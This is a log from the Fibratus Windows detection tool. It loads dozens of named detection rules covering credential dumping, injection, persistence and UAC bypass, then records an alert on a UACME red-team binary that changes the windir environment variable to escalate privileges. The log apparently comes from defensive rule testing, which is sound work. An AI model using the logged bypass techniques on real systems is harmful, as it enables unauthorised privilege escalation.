WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\.cargo\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-12-05T15:34:32+01:00 level=info msg=sending alert: [UAC bypass via Control Panel applet execution hijack]. Text: Event(s): source=action/alert.go:37 +time=2025-12-05T15:34:42+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-05T15:34:42+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:34:42+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-05T15:35:21+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-05T15:35:21+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-05T15:35:22+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-05T15:35:22+01:00 level=info msg=bootstrapping with pid 13452. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-05T15:35:22+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ mail=>[ port=>25 content-type=>text/html enabled=>false to=>[] use-template=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ max-buffers=>36 flush-interval=>1s stack-enrichment=>true enable-dns=>false enable-audit-api=>true enable-vamap=>true buffer-size=>512 enable-handle=>false enable-image=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-registry=>true enable-net=>true enable-thread=>true enable-fileio=>true enable-threadpool=>false enable-mem=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true]] + forward ........................ false + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-size=>100 log-stdout=>true formatter=>text max-age=>0 level=>info max-backups=>15] + output ......................... [ amqp=>[ durable=>false delivery-mode=>transient routing-key=>fibratus timeout=>5s tls-insecure-skip-verify=>false exchange=>fibratus enabled=>false vhost=>/ url=>amqp://localhost:5672 passive=>false exchange-type=>topic] elasticsearch=>[ healthcheck=>true servers=>[http://127.0.0.1:9200] gzip-compression=>false sniff=>false timeout=>5s enabled=>false index-name=>fibratus bulk-workers=>1 healthcheck-interval=>10s flush-period=>1s trace-log=>false healthcheck-timeout=>5s template-name=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] http=>[ enabled=>false serializer=>json timeout=>5s tls-insecure-skip-verify=>false enable-gzip=>false method=>POST endpoints=>[]] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false]] + yara ........................... [ skip-files=>false excluded-procs=>[] fastscan=>true skip-allocs=>false skip-registry=>false skip-mmaps=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] enabled=>false excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:187 +time=2025-12-05T15:35:22+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:35:24+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-05T15:35:37+01:00 level=info msg=sending alert: [Fake system root environment variable manipulation]. Text: Event(s): + Seq: 9284519 + Pid: 9544 + Tid: 13492 + Type: RegSetValue + CPU: 7 + Name: RegSetValue + Category: registry + Description: + Host: archrabbit + Timestamp: 2025-12-05 15:35:35.2289889 +0100 CET + Params: data➜ C:\Users\nedo\AppData\Local\Temp\{801DF120-1F32-4BBB-B0C3-89477E96C6BD}, key_handle➜ ffffc38f3ae7a010, key_path➜ HKEY_CURRENT_USER\Environment\windir, status➜ Success, value_type➜ REG_SZ + Metadata: rule.name: Fake system root environment variable manipulation, tactic.id: TA0004, tactic.name: Privilege Escalation, tactic.ref: https://attack.mitre.org/tactics/TA0004/ + + Pid: 9544 + Ppid: 10124 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 58 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 58] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program 